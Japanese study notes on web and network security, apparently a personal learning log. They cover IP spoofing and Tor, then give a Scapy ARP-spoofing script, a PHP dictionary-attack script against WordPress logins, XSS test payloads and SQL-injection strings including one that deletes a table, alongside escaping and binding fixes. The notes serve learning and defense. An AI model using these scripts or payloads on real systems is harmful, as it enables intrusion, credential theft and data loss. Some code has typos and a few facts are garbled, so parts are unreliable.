マルウェアの仕組み

1. プログラムでディスクの空き容量、OSバージョン、kernel、OSの脆弱性などを取得する
2. サーバの実行ユーザ、実行グループを取得(重要)
3. 実行ユーザがアクセスできるディレクトリであれば、どのようなファイルか調べることができる
4. Apache, curl, DB, /etc/passwd, /etc/shadow、OSバージョン、特定コマンドの有無なども調べる
5. 任意のコードを実行できる。同様にファイル・ディレクトリの作成削除もできる
※eval()でphpコードとして評価してif文を実行

Tor

IPを隠すことは違法ではないが、エジプト、中国、イラクなどでは禁止されている

Torプロジェクト
https://www.torproject.org/download/

Torブラウザから接続する。すると複数の国を経由してアクセスされていることがわかる
ただし、接続がタイムアウト、利用できないなどが頻発する
Firefoxをベースに開発されている

=> 掲示板でIPアドレスから身元を判断しようとしても、Torや匿名VPNを使用した場合は、特定が難しい

ip偽装の方法

IP偽装の仕組み: パケットヘッダー(IPヘッダー)の送信元アドレスを変更する

### VPNソフトによる偽装
1)iTopVPN
暗号化プロトコル、暗号化通信、地域制限回避などのVPNソフト

2)Hotspot Shield
6億人ユーザがいると言われている。無料版ではUSサーバのみ利用でき、通信速度は2MB

3)hide.me
30日間だけ無料

4)Proton VPN

5)TunnelBear

### ブラウザChrome, firefox, OperaでIPアドレスを偽装する
6)Betternet Unlimited Free VPN Proxy
7)anonymoX
8)OperaVPN

###IPスプーフィングの種類
1. 分散型サービス拒否(DDoS)攻撃
L 大量のデータパケット送信によりコンピュータサーバに負荷をかける

2. ボットネットデバイスマスキング
L 単一ソースからマスキングすることで、大量のコンピュータへ攻撃を仕掛ける

3. 中間者攻撃
L 2台のコンピュータ間の通信を中断してパケットを変更し、知らないうちに送信して攻撃する

IPスプーフィング攻撃はネットワーク層で実行されるため、改竄の痕跡を見つけることが困難
=> パケットフィルタリング、変則的なアクティビティ監視、認証方法の強力化、IPv4からIPv6への移行など包括的な対策が必要

ハッカーは3ウェイハンドシェイクの前、SYN-ACKメッセージを送信する前に3ウェイハンドシェイクを妨害する。
自分のデイバイスアドレスと送信者のなりすましIPアドレスを含む偽の確認メッセージを送信する
信頼できるIPからの接続のみを許可しているシステムにも当てはまる。そのため、信頼したIP自体も管理しないといけない
DDoS攻撃ではボットネットに感染したデバイスによって行われることが多い

#coding:utf-8
from scapy.all immport *
import time
import sys

conf.verb = 0
gateway_ip = sys.argv[1]
gateway_mac = sys.argv[2]
target_ip = sys.argv[3]
target_mac = sys.argv[4]

def main():
	try:
		print "[*] Start ARPspoofing..."
		position_target(target_ip, target_mac, gateway_ip, gateway_mac)
	except KeyboardInterrupt:
		pass
	finally:
		time.sleep(2)
		restore_table(gateway_ip, gateway_mac, target_ip, target_mac)
		sys.exit(0)

def position_target(target_ip, target_mac, gateway_ip, gateway_mac):
	positioning_target = Ether(dst=target_mac)/ARP()
	positioning_target.op = 2
	positioning_target.psrc = gateway_ip
	positioning_target.pdst = target_ip

	poisoning_gateway = Ether(dst=gateway_mac)/ARP()
	poisoning_gateway.op = 2
	poisoning_gateway.psrc = target_ip
	poisoning_gateway.pdst = gateway_ip

	while True:
		sendp(poisoning_target)
		sendp(poisoning_gateway)
		time.sleep(5)
	print "[*] Finished."
	return

def restore_table(gateway_ip, gateway_mac, target_ip, target_mac):
	print "[*] Restoring target."
	send(ARP(op=1, psrc=gateway_ip, hwsrc=gateway_mac, pdst=target_ip, hwdst=target_mac), count=3)

if __name__=="__main__":
	main()

MACアドレスとはネットワークに接続する全ての機器に割り当てられる固有の識別番号
A1:A2:A3:00:00:01
48ビット(6バイト)で構成され、前半6桁はベンダーコード
後半の6桁は所属ネットワーク機器の型番や詳細(ユニーク)

IPアドレスはインターネットプロトコルにおける通信相手先を識別するための番号

同じセグメントだけであればMACアドレスだけで良いがセグメントが異なる場合にはIPアドレスが必要
MACアドレスは送信する際のルータなどを記述する

IPヘッダ

WordPressへの辞書攻撃

WordPressのURLに?author=1をつけると、ユーザID1のユーザ名を取得できる
http://example.com/?author=1
http://example.com/author/admin

ログイン画面
http://example.com/wp-login.php

$time = microtime(true);

const TARGET_URL = 'http://example.com/wp-login.php';
const USER_AGENT = 'Mozilla/5.0';
const DICTIONARY = 'password';
const TIMEOUT = 30;

$log = 'admin';
$hit_flag = false;

try {
	$mh = curl_multi_init();
	$pwds = file(DICTIONARY, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
	$meta = stream_get_meta_data($fp = tmpfile());

	foreach($pwds as $pwd) {
		$ch = curl_init();
		$chs[] = $ch;
		curl_setopt_array($ch, [
			CURLOPT_URL => TARGET_URL,
			CURLOPT_POST => true,
			CURLOPT_POSTFIELDS => http_build_query(['log'=> $log, 'pwd' => $pwd]),
			CURLOPT_SSL_VERIFYPEER => false,
			CURLOPT_SSL_VERIFYHOST => false,
			CURLOPT_RETURNTRANSFER => false,
			CURLOPT_COOKIEJAR => $meta['uri'],
			CURLOPT_COOKIEFILE => $meta['uri'],
			CURLOPT_FOLLOWLOCATION => true,
			CURLOPT_USERAGENT => USER_AGENT,
			CURLOPT_ENCODING => 'gzip',
			CURLOPT_TIMEOUT => TIMEOUT,
			CURLOPT_CONNECTTIMEOUT => TIMEOUT
		]);
		curl_multi_add_handle($mh, $ch);
	}

	do {
		curl_multi_exec($mh, $active);
		curl_multi_select($mh);
	} while ($active > CURLM_OK);

	foreach($chs as $idx => $ch) {
		if (curl_getinfo($ch, CURLINFO_EFFECTIVE_URL) !== TARGET_URL){
			$hit_flag = true;
			echo "The password is \"{$pwds[$idx]}\".\n";
		}
		curl_multi_remove_handle($mh, $ch);
		curl_close($ch);
	}
	curl_multi_close($mh);
} catch (exception $e) {
	echo $e->getMessage();
}

if (!$hit_flag) echo "Did not hit.\n";
$time = microtime(true) - $time;
echo "It took ${time} seconds.\n";

ハッキングの種類

### Webサイト改竄
Webサイトを勝手に書き換える
L SQLインジェクション、XSS、CSRF、ゼロデイ攻撃(サーバ・OSの脆弱性を突いた攻撃)
  L 管理者アカウントの乗っ取り(情報窃取)

サーバの停止
 L サーバの脆弱性を突いてサーバの内部に侵入し、直接サーバを停止
 L 外部からサーバに攻撃を仕掛けて高い負荷をかけることでサーバを停止に追い込む

情報の盗み出し
 L サーバの脆弱性を突いて侵入して重要な情報を盗み出す

別の攻撃の踏み台にされる
 L スクリプトを書き換えると、他者への攻撃の踏み台にされる
 L マルウェアに感染させられることがある

### ハッキングで用いられる主な手口
ゼロディ攻撃
  L 新たに発見された脆弱性が公表される前、あるいは修正プログラムの提供前に行われるサイバー攻撃

辞書攻撃
  L 端末への侵入に必要なID、パスワードなどを推測する手口。意味意味ある単語をリスト化したものを用いて、順番に照合していく

総当たり攻撃(ブルートフォース攻撃)
 L 考えられる全てのパターンを総当たりで試す手口

ショルダーハッキング
L 背後からの覗き見・盗み見のこと

XSS(クロスサイトスクリプション)とは

xssとは、攻撃者が送り込んだ悪意のコードをそのページを閲覧した不特定多数のユーザに、スクリプト(簡易的プログラム)として実行させる可能性があることを指す
別のWebサイトにユーザを誘導することがクロスサイトの由来となっている

test.php

<!DOCTYPE html>
<html lang="ja">
 <head>
   <script type="text/javascript">
       document.cookie = "test=HelloWorld";
   </script>
   <meta charset="utf-8">
   <title>XSSテスト-入力画面-</title>
</head>
<body>
  <h1>入力画面</h1>
    <form action="confirm.php" method="post">
        <label for="username">Name:</label>
        <input type="text" style="width:290px;" name="name"><br/><br/>
        <input type="submit" value="確認">
    </form>
</body>
</html>

confirm.php

$name = $_POST['name'];
echo $name;

テスト文字コード

'';!--"<XSS>=&{()}``\" 
<script>alert(1);</script> 
"><script>alert(1);</script>

### 対策後

$name = htmlspecialchars($_POST['name'], ENT_QUOTES, "UTF-8");
echo $name;

フレームワークによってエスケープ方法は異なる

SQLインジェクション

SQL Injectionはセキュリティ上の不備を意図的に利用し、アプリケーションが想定しないSQL文を実行させることによりデータベースシステムを不正に操作する攻撃方法

$ mysql -u root -p
mysql> show databases;
mysql> use test
CREATE TABLE users (
id int NOT NULL AUTO_INCREMENT,
name varchar(10),
PRIMARY KEY (id)
);

mysql> INSERT INTO users(name) VALUES
(‘フグ田サザエ’),
(‘フグ田マスオ’),
(‘磯野波平’),
(‘磯野フネ’),
(‘磯野カツオ’),
(‘磯野ワカメ’),
(‘フグ田タラオ’),
(‘タマ’)
;
mysql> select * from users;

$dsn = "mysql:dbname=test;host=localhost";
$user = "hoge";
$password = "fuga"; 

try {
	$records = [];
	$id = 1;

	$pdo = new PDO(
		$dsn, $user, $password
	);
	$prepare = $pdo->prepare('SELECT * FROM users WHERE id = '.$id.';');
	$prepare->execute();
	$records = $prepare->fetchAll(PDO::FETCH_ASSOC);
} catch (PDOException $e) {
	echo $e->getMessage();
}

var_dump($records);

$ php index.php
array(1) {
[0]=>
array(2) {
[“id”]=>
string(1) “1”
[“name”]=>
string(18) “フグ田サザエ”
}
}

ここで、”0 OR TRUE; –“とすると、全件表示される

	$records = [];
	$id = '0 OR TRUE; --';

	$pdo = new PDO(
		$dsn, $user, $password
	);
	$prepare = $pdo->prepare('SELECT * FROM users WHERE id = '.$id.';');
	$prepare->execute();
	$records = $prepare->fetchAll(PDO::FETCH_ASSOC);

テーブル名がわかった場合は、”0 OR TRUE; DELETE FROM users; –“でテーブルのレコードが全て削除されてしまう

	$records = [];
	$id = '0 OR TRUE; DELETE FROM users; --';

	$pdo = new PDO(
		$dsn, $user, $password
	);
	$prepare = $pdo->prepare('SELECT * FROM users WHERE id = '.$id.';');
	$prepare->execute();
	$records = $prepare->fetchAll(PDO::FETCH_ASSOC);

mysql> select * from users;
Empty set (0.00 sec)

### 対策
PDOの場合はクエリ実行前にbindValueでバインドする

	$prepare = $pdo->prepare('SELECT * FROM users WHERE id = :id;');
	$prepare->bindValue(':id', $id, PDO::PARAM_INT);
	$prepare->execute();

mysql> select * from users;
+—-+——————–+
| id | name |
+—-+——————–+
| 9 | フグ田サザエ |
| 10 | フグ田マスオ |
| 11 | 磯野波平 |
| 12 | 磯野フネ |
| 13 | 磯野カツオ |
| 14 | 磯野ワカメ |
| 15 | フグ田タラオ |
| 16 | タマ |
+—-+——————–+
8 rows in set (0.00 sec)

“0 OR TRUE; –“でテストするのが良さそう

パスワードマネージャーの機能

パスワードマネージャーの便利機能
– パスワード保存機能: パスワード管理
– パスワード自動生成: パスワードの強化
– ワンタイムパスワードの発行
– ログイン操作の入力補助
– エクスポートとインポート
– 端末間の同期: PC、スマホで利用できる

e.g.
RoboForm: https://www.roboform.com/jp
L Chrome Extensionで管理 
Bitwarden: https://bitwarden.com/ja-JP/
True Key: https://www.truekey.com/ja
L McAfeeが運営している
1Password: https://1password.com/jp
Keeper: https://www.keepersecurity.com/ja_JP
パスメモ(日本システムウエア株式会社が運営)

データ漏洩絵事件で公開されたパスワードを管理するデータベース
Have I Been Pwned (HIBP)
https://haveibeenpwned.com/

パスワード生成よりもパスワード保存、一括管理が機能的に必要そう

一方向性ハッシュ関数 MD5, SHA, RIPEMD160

一方向性ハッシュ関数は任意の長さのデータを固定長のビット文字列に変換することのアルゴリズム
入力を受け取ったら、不可逆的に変換して出力する一方通行のプロセス
出力から入力を復元することは不可能

アルゴリズムのうちの2つがMD5とSHA
MD5は暗号的に壊れており、衝突の原因になると考えられている
一方SHAはNIST(National Institute of Standards and Technology)が開発した暗号ハッシュ関数のファミリーをさす。SHAにはSHA256やSHA512などのバージョンがあり、全体としてMD5よりも安全性が高いとされている。

### MD5とは
MD5とはMessage-Digest Algorithmの略。128ビットのハッシュ値を生成することができる。
多くの脆弱性を引き起こしたが、データの完全性を検証するためのチェックサムとして使用することは可能
また、パーティション分割されたデータベースから特定の鍵のパーティションを見つけるなど、非暗号的なタスクにも適している

$text = "It's sunny today.";
echo md5($text);

### SHAとは
SHAとは、Secure Hash Algorithmの略。
SHA-0: 160ビットのハッシュ関数オリジナルバージョン
SHA-1: 160ビットのハッシュ関数 ※2010年以降は使用されていない
SHA-2: ブロックサイズの異なる2つの等価ハッシュ関数から構成される
SHA-256: 32ビットワード
SHA-523: 64ビットワード

$text = "It's sunny today.";
echo hash('sha256', $text);

### RIPEMD
入力データのサイズに関わらず、160ビットのハッシュ値を生成する。SHA-256より小さいためデータサイズを節約できる
データとkeyを渡す

$text = "It's sunny today.";
echo hash_hmac('ripemd160', $text, 'secret');

ランダムな数値・文字列

echo '乱数1回目:'.rand().'¥n';
echo '乱数2回目:'.rand().'¥n';
echo '乱数3回目:'.rand().'¥n';

乱数1回目:897666718¥n乱数2回目:2106848809¥n乱数3回目:1545861839¥n

範囲指定した乱数

$min = 3;
$max = 10;

echo '乱数1回目:'.rand($min, $max).'¥n';
echo '乱数2回目:'.rand($min, $max).'¥n';
echo '乱数3回目:'.rand($min, $max).'¥n';

mt_rand関数はメルセンヌ・ツイスタと呼ばれる擬似乱数列生成器を使用しており高速に乱数を生成できる

echo mt_rand().'<br>';
echo mt_rand().'<br>';
echo mt_rand().'<br>';
$min = 0;
$max = 100;

echo mt_rand($min, $max).'<br>';
echo mt_rand($min, $max).'<br>';
echo mt_rand($min, $max).'<br>';

ランダムな文字列を生成する
ASCIIコードで指定された引数から文字を返すchr関数を併用して文字列を生成する

$rand_str = chr(mt_rand(65,90)).chr(mt_rand(65,90)).chr(mt_rand(65,90)).chr(mt_rand(65,90)).chr(mt_rand(65,90)).chr(mt_rand(65,90));

echo $rand_str;

配列の要素をランダムに取得

$fruits = ['apple'=>'100円', 'orange'=>'80円', 'melon'=>'300円', 'banana'=>'120円', 'pineapple'=>'350円'];

$rand_key = array_rand($fruits, 3);

print_r($rand_key);

ランダムな英数字の作成

$str = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPUQRSTUVWXYZ';
$str_r = substr(str_shuffle($str), 0, 10);

echo $str_r;

uniqid関数を使用したランダム文字列

$str_r = uniqid(rand(), true);
echo $str_r;

md5関数は32文字の16進数からなるハッシュを取得する

$str_r = md5(uniqid(rand(), true));
echo $str_r;